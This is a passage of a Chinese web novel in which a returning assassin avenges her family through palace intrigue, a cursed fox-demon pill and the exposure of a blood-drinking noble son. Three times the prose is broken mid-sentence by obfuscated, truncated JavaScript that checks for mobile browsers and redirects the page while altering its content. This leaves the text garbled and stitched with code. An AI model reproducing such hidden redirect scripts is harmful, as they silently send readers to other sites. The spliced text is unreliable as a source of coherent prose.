“你,威胁我?”淑宁挣脱甩开沈贵妃的双手,“凭你也配。” “本宫配不配,本宫不知道,淑宁,但你想用此事来拿捏本宫,你可要好好仔细想清楚代价。”沈贵妃用一种看宠物的眼神打量着淑宁,笑道:“只要你安分守己,本宫自然不会动你的子女,当然,也会为你保守秘密。” 淑宁冷哼一声,“别怪本宫没有提醒你,林雪微回来了,她回来复仇了。” 她转过头凝视着沈贵妃:“雨菲,你也别忘记了,林雨菲,林家最后一个还活着的人,要是让圣上知道了,林家有人还活着,而且就在自己身边,与自己同床共枕,你猜,圣上会不会饶过你?” “别动我的家人,要不然,我会跟你搏命。” “哼,搏命。”沈贵妃凝视着淑宁逐渐远去的背影,恼羞成怒,面部神情有些扭曲,“没有人能够威胁我,淑宁,你也一样。”她完全不顾形象的疯狂大笑:“人一旦有了弱点,那么我就拥有了拿捏她的资本,淑宁,你不该威胁我的。” “贵妃娘娘,这是微臣最近炼制的狐妖妖丹,吃下它,不仅可以延年益寿,而且还可以拥有驻颜之术。”国师双手托举着紫檀木盒,木盒上方的黑色木纹散发着红色的微光。 “不过,妖丹虽然可以延年益寿,永葆青春,但也有一些副作用。” “妖丹上附有狐妖千年的修为与能量,如果娘娘身体承受不住,则会导致妖化。” 沈贵妃打开紫檀木盒,一道红色的光芒从木盒中射了出来,红若琉璃,一层金色的气丝不断的游离在表面,沈贵妃嘴角微微上扬,眼神中透露出一丝贪婪。 “贵妃娘娘,妖丹不是普通人可以承受得住的。”国师见沈贵妃一脸痴迷,再三叮嘱。 “本宫是贵妃,是凤凰,怎可与普通人相提并论。”沈贵妃一脸嫌弃,摆了摆手:“国师辛苦了,你先下去吧,不要留在这里妨碍本宫。” “是。”国师微微行礼后,摇了摇头,便转身离去。 贵妃私底下暗自寻求丹药,常年以妖丹为食,永葆驻颜之术,国师早已习以为常,只不过方圆几百里的低级狐妖的妖丹早已经被逮捕殆尽了,眼下,好不容易捕捉了一只千年道行的狐妖,可惜这狐妖身性顽抗,不是一般人能够抵抗得住的。 国师叹息一番,不由的摸了摸鼻子,西晋的贵妃吸食妖丹,这事要是传扬了出去,国师想到此处,便笑了笑。 “林雪微也好,淑宁也好,没有任何人能够阻止本宫,本宫才是这天下之主,西晋的王。”沈贵妃看着这颗散发着红色光芒的妖丹,脸上的笑意越发的猖狂,她从紫檀木盒中拿起妖丹,一口吞并了下去。 一股暖流从她的咽喉流入到她的胃里,然后又通过血液,流到她的全身,沈贵妃深深的呼出一口气,脸上满是享受的神情,突然,她瞪大双眼,神情极度扭曲,一股强大的灵力直击灵魂,胸口如同火烧,疼痛难忍。 “区区人类,怎敢妄想吞噬我的妖丹。” “你是谁,你怎么会在我的身体里?” 沈贵妃强撑着身子,企图保持清醒,不让自己昏死过去。 “你是狐妖?本宫乃是当朝贵妃,区区一只狐妖,也敢在本宫面前放肆。” 她念动咒语,驱动符咒,缓缓吐气,妖丹之威才被镇压下去。 “我的脸?”沈贵妃一脸震惊,往日吸食妖丹之后顶多就是难受一会,怎么今日吸食妖丹,脖颈处却出现了紫色的妖纹,直击脸颊,她对着镜子摸了摸脸颊:“千年妖丹,果真威力不凡,看来,还是本宫大意了。” 她立即穿上黑色斗篷,趁着天黑,来到了摘星楼。 “国师。” “娘娘深夜来访,所为何事。”国师心底有些不安,无事不登三宝殿,贵妃娘娘今夜突然前来,难道是那颗妖丹出现了问题? 沈贵妃脱掉斗篷,紫色的妖纹已经弥漫到她的侧脸颊上。 “妖纹?”国师见状,大为震惊,以往贵妃娘娘吸食妖丹后从来没有发生过这种迹象,怎么如今,吸食了一个狐妖的妖丹,居然会有这种变化,难道,贵妃娘娘要妖化了? “快帮我把这紫色的妖纹给消退下去,本宫不能让任何人瞧见本宫如今这副模样。” “国师,你可明白?”沈贵妃一脸怒气,心中极为担忧。 “明白,明白,属下这就给娘娘配置丹药。”国师应付之后,便不多做停留,立刻便离开了,早就跟你说了,这可是千年狐妖的内丹,可你偏偏不听,如今,可算遭到报应了吧,他神色自若,似乎早就料到了一切。 大约两个时辰以后,国师手拿着檀木盒走了进来,“娘娘,吃下这颗药丸,你身上的紫色妖纹便会消退下去。” “真的吗?”沈贵妃心中一喜,连忙打开木盒,拿出丹药吃了下去,身上的紫色妖纹果然如同国师说的一模一样,很快,紫色的妖纹就消退了下去,她看着镜中的自己,惊喜道:“这丹药的威力果真不错。” “国师,辛苦了。” 她穿上黑色斗篷,正准备离去。 “娘娘。”国师突然叫住了沈贵妃,“丹药只能维持一个月,一个月以后,紫色妖纹会再次反弹。” 沈贵妃转身,眼中充满怒气,喝道:“国师,你这是在玩弄本宫?” “属下不敢。”国师双膝跪地。 她心中十分恼火,扫了一眼国师:“谅你也不敢。” “尽快给本宫配出丹药,要不然,本宫的手段,你是知道的。” “属下尊命。”国师从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892834|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上站了起来,深深的叹了口气,他双手紧握成拳,看着沈贵妃离去的背影,脸上露出十分诡异的笑容。 ...... 自从上次李玄遇刺以后,便自此消失,不见踪影,李府之人私底下一直在打探李玄的消息,特别是李朔,心中终日忐忑不已,生怕李玄前来报复,夜不能寐。 “少宫主,七杀殿传来消息,最近有人开出高价,要取李玄的性命,属下想,这事一定和李家脱不了关系。”锦瑟一脸疑惑:“你说这个单子,我们是接还是不接?” 雪微捣鼓着药草,最近天气有些潮湿,这些药草晒了好几日,还是有些返潮:“接,当然接。” “白白送上门的银子,为何不要?” 锦瑟侧头想了想,少宫主与李玄公子关系不是一直很好吗?为何要接这单?她有些想不明白,于是低声问道:“难道我们要去刺杀李玄公子吗?” 雪微摇了摇头,笑道:“又不是叫你们真的去刺杀他,虚张声势,懂不懂?” “李家的银子说白了,终究是我姐姐的嫁妆,既然他李朔肯给,我为何不要?” “属下明白了。”锦瑟道:“属下这就去回复了他,叫他准备好一万两银子。” “一万两银子?”雪微几番考量:“你去告诉他,没有五万两银子,不接。” “七杀殿杀人涨价了。” “是。”锦瑟心里有些愕然,少宫主极其护短,行事风格一向让人出乎意料,李朔派人刺伤了李玄公子,怕是要吃大亏了。 雪微看着这些草药,眼神一下子变得坚定起来,“李朔,你夺走了我姐姐的东西,我会向你一一讨要回来。” “没想到,我的命这么值钱,居然要五万两银子。”李玄笑了笑,从屋里走了出来。 “那当然,想当年,你娘亲嫁给他,嫁妆可是摆满整整一条街。”雪微轻轻的拍了拍李玄的手:“不要动,这些药草可是十分值钱。” “有多值钱?”李玄浅浅笑了笑,满眼柔情的目光落到雪微身上:“雪姨,你和我娘到底是什么关系?” “据我所知,我娘出嫁的时候,你应该才几岁吧。” “这小子又在想些什么,难道是猜出我是谁?”雪微心中想了想:“这不可能,林雪微早就死了,死在了林家的那场大火之中,李玄那时候才五岁,怎么可能猜得到呢?” 她余光扫过李玄:“一定是我多心了。” “我听说的。”雪微抬头微笑的看着李玄,眼中没有一丝情绪的波动,“当年,你娘亲出嫁这事,可是惊动全城,你随便去打听打听,应该没有人会不知道吧。” “也是。”李玄呆呆的看着雪微,那双眼神,柔情似水:“雪姨说什么就是什么。” 眼神没有一丝波动的情绪,很明显,雪姨在克制自己,李玄待在雪微身边久了,自然明白,一个杀手,都是特意经过一系列的训练的,但也正是这种刻意,李玄反而觉得这其中有些蹊跷,一定是有什么事,不想让他知道。 ...... “我来这里找过你好几次了,你每次都不在。”十一抱剑从暗影中走了出来,“我家主人叫我问问你,刺杀太子的事情,进度如何了?” 一只笔快速的朝十一袭去,十一紧握着笔,眉头微皱道:“你想杀我?” “你要是这么容易就被我杀了,今日,你就不会站在这里了。”雪微抬头冷冷的看了十一一眼,“我不是说了,三年,这才半年而已,你家主人就等不及了?” “太子身边高手如云,是那么容易刺杀的吗?” 十一低头,与雪微双眼对视,那双眼睛看起来十分的熟悉,他试探性问道:“你是不是去过叶太傅府邸?” “叶太傅,叶肃?”雪微看着十一的双眼,微微笑道:“没去过。” “是真没去过,还是假没去过?”十一继续问道。 雪微沉默许久,冷冷的盯着十一,那双眼神之中十分淡漠,看不出任何情绪。 “没去过就没去过,就当我没问过。”十一转身,便消失在半空之中。 “今日我是怎么了,那日在太傅府邸碰到的女子很明显的和她长得一点都不像,我怎么会这样问?” 他叹了口气,但杀手的直觉告诉他,她们之间肯定有着某种联系,要不然为何每次靠近她,他的心都会狂跳不已。 13. 吸血 夜色降临,漆黑的夜色如同死寂般,偶尔传来一些虫鸣的嘈杂声。雪微看着李朔,十三年未见,岁月不饶人,李朔乌黑的发丝上,平添了几根银发。 她内心深处如火般灼烧,“李朔,十三年了,你可曾为,曾经杀死姐姐而心生过一丝愧疚。”她抬起头,不自主的握紧了手中的利剑。 “这是五万两银票。”李朔打开木盒,木盒中正好躺着五万两银票,雪微点了点头,努力克制住自己心中的愤怒,“有人出十万两,买你一条命。” 李朔身子一震,眼中流露出恐惧,身子不由得倒退几步:“是谁......是谁......要杀我?”他抬起头,神色从恐惧,瞬间转为镇静:“你们杀人不就是为了挣钱吗?我出十一万两,只要你们放过我,并且告诉我那个人是谁,如何?” 微风扫过,雪微沉默的看着李朔,看了许久。 “不行。”李玄走上前来,率先打破沉默,一把长剑抵住了李朔的咽喉,李朔咽了咽口水,小心翼翼道:“有话好好说,不要动刀动枪的。” “爹。” 熟悉的声音如同寒冰般穿透李朔的身体,他浑身抖动一番,脑中混成一片:“你......你是李玄?” 李玄苦笑道:“爹,才一个月不见,怎么如今见到我安然无恙,你反而,感到惊讶了?” “也是,你不是想杀了我吗?” “来吧,我如今就站在这里,你有本事,就来杀我啊。” 他朝着李朔走去,李朔无路可退,慌里慌张道:“你......你不要过来。” “逆子,你想杀父吗?” 李玄挥舞着手中的长剑,无情的笑了笑,五岁以前,父亲在他的印象之中,一直很慈爱,他爱护母亲,也爱护他,夜里经常会搂着母亲抱着他,给他讲故事,可是,这一切,都终止在母亲死去的那一日。 “母亲到底是怎么死的?” 他疯狂的寻找着母亲死亡的真相,在得知母亲是上吊身亡的那一刻,他悲痛欲绝,“母亲为什么会上吊?” “明明前一晚,我和母亲还好好的,她还在给我讲故事。” 冰冷的剑气,透过皮肤,传递到李朔的身体里,李朔觉得无助,拼命挣扎道:“你以为我想她死吗?” “但她自寻死路,我又能够怎么办呢?” “如果她不死,那么死的就是我,你明白吗?” 李玄疯狂的笑了笑,不知为什么,他的笑声却让人感到如此悲愤:“所以,你杀了她。” “是你,杀了母亲,是吗?”他激动得手抖了抖,利剑划破了李朔皮肤。 李朔吓得浑身瘫软,“玄儿,你娘她是林家人,当年,林家叛国,犯了那么大的罪,我又能够怎么办呢?” 他双眼落泪:“我只能放弃雪柔,与林家撇清关系,只有这样,才能够保住李府。” 李玄冷哼一声,言语之中透露着绝望:“所以,你为了保全自己,放弃了娘,也放弃了我。” “到了现在,你还看不清楚吗?”李朔道:“宁王功高震主,圣上下旨要灭了他们全族,这不是我区区一个人能够改变的。” “功高震主。”雪微听到这几个大字,心底某处触动一番,觉得极为讽刺,“父亲当年亲手把那个人推上王位,没想到却给自己以及族人带来了杀身之祸。” “可是母亲不是林家人,她嫁给了你,是李家人啊?”李玄脸色从痛苦转为愤怒的看着李朔。 “她姓林,不是姓李。”李朔道:“只要她一日姓林,她就是林家人。” 李玄不知说些什么,也许李朔是对的,但是,真相对他来说未免也太残忍了些。 雪微见李玄有些心软,心中笑道:“也是,李朔毕竟是他的亲生父亲,他下不了手,情有可原,毕竟父子相残,这种事,太过残忍。” 她拔出利剑,对着李朔的胸口霍然刺入:“你,早就该死。” 李玄目瞪口呆的看着雪微,心乱如麻,如果此刻不阻止,李朔今日必死无疑,他拦住了雪微:“雪姨,他终究是我的父亲。” 他看着李朔那张厌恶的嘴脸:“我会看好他的,下半辈子,他只会待在地狱里忏悔。” “忏悔?”雪微冷笑道:“李玄,他杀了你的母亲,你就这么原谅他了,难道不应该是以命抵命吗?” “雪姨,这是李家的事情,雪姨还是不要插手李家的事了。”他看着雪微极为震惊的神情,意识到自己说话的语气过于重了,连忙解释道:“雪姨,我不是这个意思,我......我......我......”他紧张得有些说不出话来。 “对不起。”他低头,余光扫了眼雪微。 雪微收回剑,神情依旧十分冰冷道:“你没做错任何事,他毕竟是你的父亲,你们之间血浓于水,儿子如果亲手杀了父亲,确实天理难容,这不怪你。” 雪微转身,瞬间消失在夜空之中。 “姐姐,刚才我真的很想一剑刺死他,让他亲自去给你赔罪,但当剑划过的那一瞬间,我突然觉得就这么让他死了,似乎非常不划算,毕竟,死,太容易了。” “我要让他活着,活得生不如死,要让他亲口向你忏悔。” ...... 最近太傅府邸每到半夜,接二连三的都会抬出去几具尸体,雪微去太傅府邸查探过,发现那些死者脸色煞白,死状极其恐怖,脖子处的伤口和当初霜月脖子处的牙印十分的吻合,他们都是被吸光鲜血而死的。 “吸血,叶宏?”雪微喝了口水,放下茶杯,“如果让世人知道太傅府的大公子是个吸血鬼,是不是很有意思。”她浅浅的笑了笑。 清晨,太傅府邸,府卫打开大门,一脸惊慌失措。 “老爷......不好了......” 他大声嘟嚷,身子像触电似的,震住了。 门口悬挂着整整二十一具死尸。 “老爷,有人把尸体悬挂在府门口。”他神色慌张,指着大门口的方向,浑身冒着冷汗,上气不接下气的。 “什么?”叶肃闻之愕然,快步朝着府门口走去。 景色之壮观,令人十分震惊。 “别看了,别看了,大家都散去吧。”两旁的府卫驱赶着前来看热闹的百姓。 “究竟是什么人,与我叶家又有什么恩怨,大清晨的,居然把尸体悬挂到府门口来了,真是晦气。”叶肃心底想了会,朝着四周望了望,脸上并没有露出任何慌张的神情。 “快把这些尸体处理了,赶紧叫他们二人前来见我,我需要知道昨日夜里,到底发生了什么?” “是。”刘管家弯腰点头,发生这种大事,太傅还能如此平静,今日,府里怕是要有大事要发生了。 “醒醒......醒醒......”一盆凉水,朝着门口的两位昏迷的府卫浇了过去,他们浑身一抖,眼看着其他下人正在搬运尸体,脸色瞬间苍白,自知犯下大错。 “昨日......昨日......昨日到底发生了什么?”二人相互对视一眼,摇了摇头,浑然不知。 雪微站在人群角落中,默默的欣赏着她的杰作:“叔叔,好久不见,十三年了,你还是没有什么变化,这是我送给你的见面礼,你喜欢吗?” 清晨太傅府邸大门口整整悬挂着二十一具死尸的消息传遍了整个西晋都城,王上大怒,百姓私底下议论纷纷,到底是什么样的恩怨,一夜之间,居然能够把死尸放到太傅府邸大门口。 “经查实,这二十一具尸体都是被大公子杀死的,与先前运出府外的尸体一模一样。”刘管家低头,心中十分忐忑,害怕因此事受到牵连,毕竟最近大公子也不知怎么了,经常喜欢找些年轻貌美的女子去他的房间,第二天,这些女子便离奇的死在他的屋子里。 “什么时候发生的事?”叶肃眉头拧成一个结,心中十分郁结,知道宏儿平日需要鲜血滋养,但没想到,他居然会这么张狂。 “这是这个月第二十一具尸体了。”刘管家心中极为惶恐,听着院中两个府卫的尖叫声,连说话的语气都小心翼翼,生怕一不小心,就落得和那两个府卫一样的下场。 “二十一具。”叶肃冷哼一声,怒道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“刘横。”叶肃喝道:“你发什么呆,还不赶紧走。” “是。” “没想到,那些女子居然是被大公子吸光了浑身的鲜血而死的。”刘管家心中回想起刚才叶宏咬住女子脖子的场景,浑身发寒,起鸡皮疙瘩,“这还是以前那个每天只知道喝酒作乐的大公子吗?” “他怎么像变了一个人似的?”刘管家心里不禁暗自想了想,“大公子吸血,这种事情,老爷见了怎么一点震惊的感觉都没有,难道大公子吸血这事,老爷一直都知道。” 想到此处,刘管家表情变得严肃起来,脊背发冷,这可不是一件小事,不是他这种小人物能够去掺合的,他只能装作什么都不知道,即使看到了,也要装作没看到,只有这样,他才能在这座府邸生存下去。 ...... “少宫主,属下已经派人连夜把这二十一具尸体挂在了叶太傅府邸大门前。”锦瑟一脸得意的模样,霜月死时的面容在她的脑海中一直挥之不去,她正好想找个机会,为霜月做点事。 雪微轻轻点了点头,锦瑟那点心思,雪微早就看明白了,既然对计划没有什么影响,也就由着她的性子,她是个有仇报仇有恩报恩的人,霜月对她有恩,她自然想为霜月做点事。 “你做得很好。” “太傅府的大公子叶宏,以鲜血为食,府中那二十一人,皆是被叶宏吸光鲜血而死。” 雪微看了看锦瑟:“你把叶大公子吸血杀人的事情传播出去,我到要看看,叶肃到底会怎么做?” “他会为了维护自己的清正廉明,杀了他的亲生儿子吗?” “还是,会选择保护他的亲生儿子,而栽赃陷害呢?” “是。”锦瑟应声道:“少宫主,放心,属下一定会添油加醋的把这事给传播出去。” 雪微脸色变得深沉,轻咳两声,抬头看了看天空:“叔叔,这一次,你的亲生儿子会成为你升迁路上最大的绊脚石,你会不会为了你的名声杀了他?” “权利......儿子......”雪微讽刺笑道:“你到底会选择谁?” “你会为了权利放弃你自己唯一的亲生儿子吗?就像当年陷害父亲一样。” 14. 谣言 一夜之间,太傅府叶大公子叶宏吸血杀人的传闻传遍了西晋的大街小巷,圣上闻知大怒,命镇妖司彻查此事。 镇妖司是西晋专门针对妖族为祸人间的特务机构,它由一名指挥使,以及旗下的北镇抚司和南镇抚司,以及千户,百户等构成。其中北镇抚司掌管诏狱,南镇抚司掌管司法以及军匠事务。 镇妖司指挥使由圣上亲信捉妖师担任,直接向圣上负责。 这一任的镇妖司指挥使陆邈是一个奇人,传闻他曾经在昆仑仙山修炼长达三年之久,自从他担任镇妖司指挥使之后,京城妖族妖人少了不少,其余一些小妖,也只是隐藏在人群之中,从不惹事生非,十分安分。 只是,这场安分的背后,居然被太傅府前悬挂的二十一具被吸干鲜血的死尸所打破。这些小妖心里忐忑,因此恨死了叶大公子叶宏。 “到底是什么人传播出去?” 叶肃心急如焚,嘴角微微下垂,脸色十分严肃,看起来憔悴了许多。这两日为了此事来回奔波,昨日刚好平息掉圣上的怒火,谁知今日,太傅府大公子叶宏吸血杀人的消息又传遍京城,百姓私底下议论纷纷,十分惶恐。 “京城有妖,这妖人就是太傅府叶大公子,他专门喜欢吸取年轻女性身体里的血液。” 惹得朝中众大臣心惊胆战,“叶大公子真的会吸取年轻女子身体里的鲜血吗?”这是今日各位大臣对叶肃问得最多的一句话,大家纷纷用奇怪的眼神看着叶肃,像看异类似的。 “没有此事。” “纯属谣言。”叶肃脸色阴沉,强忍着心中的不悦:“到底是何人,和我叶家到底有什么深仇大恨,居然要暗地里这么针对叶家。” 他心中想了又想,“往日不对付也就是那么几位,难道是太子?” “不对。” 他表面上是太子的人,替太子办事,但实际上,他是王后的人,所以王后肯定不会这么陷害他。 “至于太子?”叶肃心中略微排除:“太子应该不可能知道我背后之人是王后,除非......除非......除非有人告诉了太子,太子知道了我是王后的眼线,所以,想把我斩草除根。” 想到这些,叶肃浑身胆颤发麻,如果真的是太子,那么今日这关,注定了,怕是过不去了,他心底十分不甘,我得去试探试探。 “如果不是太子,那么背后之人到底又是何人呢?”他揉了揉太阳穴,近日思绪万千,再加上彻夜未眠,身体的血液浑身沸腾起来,像大火焦灼般难受。 自从发生了这事,整个京城的禁卫军,宫门守卫以及巡逻队都增加了不少,圣上为了安全,命令叶肃即日起,不用再上朝,叶肃冷冷的笑了笑,往日里关系还算不错的同僚见到这种情况,也纷纷躲着他。 他求助无门,只身来到太子府邸。 “也许太子并不知情。”叶肃看着太子府邸大门,长叹口气,“不管怎样,来都来了,总要试一试。” “我要求见太子。”他对着门口的两名守卫说道:“太傅府邸,叶肃,求见太子。” “叶肃?”一名守卫神色吃惊道:“太子说了,叶肃如果前来觐见,不见。”他的神态举止十分傲慢,“快走,快走。” “晦气。” “叶肃,求见太子。”他在太子府邸门口大声喊着,为官二十多年来,都没有像如今这般,死皮赖脸,他的老脸都被这个逆子给丢光了。 “赶快离开这里,太子说了,叶肃上门求见,不见。” 他狂笑,“王后?” “对,王后肯定不会不管他的,这么多年,他留在太子身边,充当王后的眼线,没有功劳也有苦劳。”叶肃脑中十分混乱,像抓住救命稻草一样,死死的抓着:“我好不容易走到这个位置,任何人,都不能把我从这个位置拉下去。” “王后说了,太傅如今自身难保,就不要到处瞎折腾了,还是回到府里,静候佳音吧。”桂嬷嬷神色深沉,小声在叶肃耳边说道:“为今之计,只能断尾求生。” “断尾求生?”叶肃眼底闪过一丝悲痛:“宏儿,难道只有这一条路了吗?” “自从与宏儿换血之后,我就已经失去了生育功能,如果不是这样,我早就杀了他了,何必把他留到现在,给我凭空惹出这么多麻烦事。”叶肃想到此处,心中十分绝望:“难道老天真的要绝我叶家的后吗?” “难道真的没有两全之法。” “老爷,大公子被镇妖司的人抓走了。”刘管家站在门口,看到叶肃一个人孤零零的正往门口走来,他心底很是焦虑,公子如今被人抓走了,老爷也不知所终,大夫人听闻也晕了过去,他不知该如何是好,只能来到府门口,等待着叶肃归来。 “抓了?”叶肃心中十分苦闷,冷笑的看着天空,黑压压的乌云,齐聚头顶,“看来,真的要变天了。” “即日起,斩断与叶宏的一切联系,他已不在是叶府之人了。”他仰头微闭双眼,无奈的深深的呼进一口气,连番奔波,让他的身体早已经疲惫不堪,但叶肃依旧强忍着身体所带来的疼痛,“宏儿,要怪就怪你自己实在是太不争气了。” ...... “少宫主,叶宏被抓进了镇妖司。”锦瑟心中十分雀跃,抓进镇妖司的,不管是人还是妖,至少都要被扒好几层皮,都不一定能够离开那里。 雪微浅浅笑了笑,这个场景,她早已经在脑中排演了无数次,“他早就该死了,只是可惜了,那死去的二十几个女子。” “是啊,我们为霜月报仇了。”锦瑟心中感慨道:“霜月,我终于为你报仇了,你这下可安心了吧。” 霜月与锦瑟是同一年进入的七杀殿,那一年,同期进入七杀殿的总共有十五个人,他们在林中拼死厮杀,只能活下三个人,就在锦瑟筋疲力尽之时,霜月突然转身,她脑中一片空白,以为自己会死在霜月的手中。 一把飞刀,霜月刺死了她身后的那名不知名的杀手,然后看着她的眼睛,嘴角笑了笑:“你长得很像我的妹妹。” 锦瑟也笑了笑,她们都在这场厮杀之中活了下来,随后,便被安排进不同的地方执行任务。 “你长得很像我的妹妹。”锦瑟每每想到这些,心中都会划过一阵暖意,七杀殿中,杀手和杀手也是有区别的,不是所有的杀手,心都是冷的。 “叶肃那边有没有什么动静?”雪微问道。 “叶肃今早回府之后,就再也没有出来了。”锦瑟一五一十的答道:“这几日,属下派人日夜紧盯着太傅府,有任何动静,都会前来禀报。” 雪微点了点头,手中拿着一枚白棋,思索了许久:“看来,他是想放弃叶宏这颗棋子了。” 白棋落下,整个棋局瞬间便活了起来,“紧盯着叶肃,他有任何动静,都前来禀告,我要知道他下一步的动态。” “是。” 雪微紧盯着棋局,眼中无一丝波澜,“叶肃啊叶肃,如果是你,下一步,你会怎么走呢?” “保全自己,放弃自己的亲生儿子,迅速撇清叶宏与叶府的关系。” 她笑了笑,眼底尽是讽刺。 ...... “老爷,大夫人醒了,正在前往这里的路上。”刘管家小心谨慎,今日大公子被镇妖司的人抓走了,大夫人的神情却是十分的奇怪,以往她对大公子漠不关心,可是今日,当看到大公子被抓走的那一刻,她居然跑过去,挡在了大公子的身前。 如果按照往常的逻辑,大夫人应该会眼睁睁的看着大公子被抓走,从而不动于衷,毕竟这种事情在以前见过太多了,可是今日,刘横的心里实在是有些看不明白,到底是大夫人变了,还是大公子变了呢? 这一切太过诡异,刘横总觉得这座太傅府邸藏着太多的秘密,就连前任管家到底是因何种原因而死,都不知道。 府中下人议论纷纷,大家都说前任管家是中邪了,冲撞神灵,但是真相到底是什么,竟无人所知,恐惧袭击他的身心。 “老爷,大夫人来了。”他看着叶肃一脸严肃的神情,默默的退到一旁。 “宏儿被抓了,你不知道吗?”大夫人指着叶肃的鼻子怒气冲冲的喝道:“我不管你想什么办法,一定要把宏儿从那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892836|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么镇妖司救出来。” “镇妖司是什么地方,进去了的人,有几个能够从里面完整的出来。”她歇斯底里,怒吼着,每时每秒,内心都承受着巨大的煎熬。 叶肃冷眼的瞧着眼前的大夫人,嘴角微微触动道:“夫人,他杀人了,我救不了他。” “救不了?”大夫人情绪激动:“你硬生生拆散我们母子十几年,你......” “住口。”叶肃大声道,他看了一眼四周,示意他们都退下,然后双眼死死的盯着大夫人:“你疯了吗?如果让人知道了,叶宏的秘密,不仅我救不了他,连整个叶府都将跟着完蛋。” 他指着大夫人恐吓道:“对了,还有你那个整天无所事事的哥哥,和整天把勋贵挂在嘴边的父亲,你猜猜看,他们又将如何。” “你......你......你威胁我?”大夫人脸色极为难看,心中十分悔恨,当初不听父亲的劝诫,选择了他这个官位极低的穷小子,以为,只要两个人相爱,便可以阻万难。 这一切,都是报应。 她仰头,遏制住眼中的泪水,不让它流淌下来,这十多年来,她已经为他忍受了太多,从宏儿出生开始,到后来与宏儿生生分离,以及,他把外室所生的孩子带回府中,充当宏儿,这一切的一切,让她的心早就十分生硬。 可如今,母子再次相见,她才发觉,原来,她并不是什么无情之人,她的心,还是可以跳动的。 叶肃眉头紧皱,神色阴沉,开口道:“你从什么时候开始知道宏儿回来了?” “刚刚。”大夫人平复了心中的焦躁:“刚才,宏儿被抓走的时候,我看见了他脖子上的胎记,那个胎记我见过,是他刚出生的时候,自带的。” “胎记?”叶肃冷冷的笑了笑:“原来如此。” 他狠狠的看着大夫人:“从今以后,叶宏与叶家没有丝毫关系。” “你说什么?”大夫人一脸不可置信的看着叶宏,没想到这个男人的心居然如此狠毒,“宏儿可是你的亲生儿子啊,你怎么能......怎么能放弃他?” “我能怎么办呢?他杀了二十多人,吸光了她们的鲜血,他早已经不是一个真正意义上的人了。” “不可以......不可以的。”大夫人歇斯底里,“都是因为你,如果当初,你不把宏儿带走,今日就不会发生这种事,造成这一切,都是因为你。” “你,才是那个蛊人。” 叶肃瞪大双眼,眼底闪过一丝杀气:“夫人,请你注意你的言辞,你想拉上整个裴家陪葬吗?” “你别忘了,你哥哥的命可在我的手里握着,他可是靠着我的血液维系生命呢?” 他紧紧的捏住大夫人的咽喉,“没有了我,那么裴家又算什么东西?” “你......你......”她呼吸困难,脖子被叶肃紧紧掐住,整个肺部,十分压抑,连说话都有气无力的,浑身瘫软在地。 “你给我老实呆着,要是被我知道了你暗中通信给裴家求助,我完了,也会拉着你们整个裴家陪葬。” “你最好祈祷,这件事能够就这样过去了,牺牲了一个叶宏,换来了叶家与裴家安然无恙,这是天底下最划算的买卖。” “宏儿。”大夫人看着叶肃决然离开的身影,眼泪哗啦啦的从眼眶中喷涌而出,“这一切都是我的错,如果当初我没有选择你,就不会有裴家今日的大祸,宏儿也不会被炼制成为蛊人。” “还有哥哥,哥哥也不会被叶肃控制。” 想到此处,大夫人心底十分悔恨,痛恨自己的愚蠢,以及识人不清。 “为什么,我曾经以为的爱情,为什么会走到如今这个地步,一步错,步步错。” “我到底做错了什么,为什么要我付出如此惨痛的代价。” 天色越来越暗,空中乌云密布,压得都快喘不过气了,大夫人身子无力的趴在地上,使劲的捶打着地面,整个手掌都早已经肿胀了起来,手指夹缝之间,淌满了鲜血。 都说十指连心,可她身体麻木的完全感受不到一丝疼痛。 15. 苏醒 “你到底是谁。”十一看着雪微,一身素衣,清冷疏离,这个女人表面上看上去平凡无奇,如此不起眼,短暂接触后,却觉得此人骨子里透着一股危险的气息。 “太傅府邸二十一具被吸干鲜血的死尸是你派人挂上去的吧?” “你为何要这么做?”眼前这个女子像个谜一般,他一直都知道她是七杀殿的人,但除了这些基本信息以外,其他的事情,一概不知,甚至连她的名字都不知道。 雪微淡漠的眼神,对这一切仿佛丝毫不在意,她微微笑了笑:“你的主人没有告诉过你,作为一名杀手,是不能知道太多的,知道太多的人,通常活不了太久。” 十一听到此话,笑道:“我的主人只告诉过我,要我帮她做三年事,三年之后就会解除我身上的蛊,还我自由。” “你......”雪微抬眼,刚好与十一的目光相交,那双漆黑的眼眸,看上去虽然十分淡漠,但那股淡漠之中,却有着一丝坚韧,和丝丝怒意。 “你只需要替我把事做好,不需要知道太多。” “奥。”十一语塞,他承认,这段时间与雪微接触以来,对她有着一丝好奇,“太傅府的大公子叶宏,跟你有仇吗?” “你为什么要把他送进镇妖司?” “没仇。”雪微拾起茶壶给自己倒了一杯水,“他杀了二十多名女子,还吸干了她们全身的血,我,为民除害,这有什么错?” “怎么了,你这么闲,连这个也要管吗?” 十一苦笑不语,静静地打量着眼前的这位女子,她很聪明,知道用最有利的方式来掩饰自己的动机。 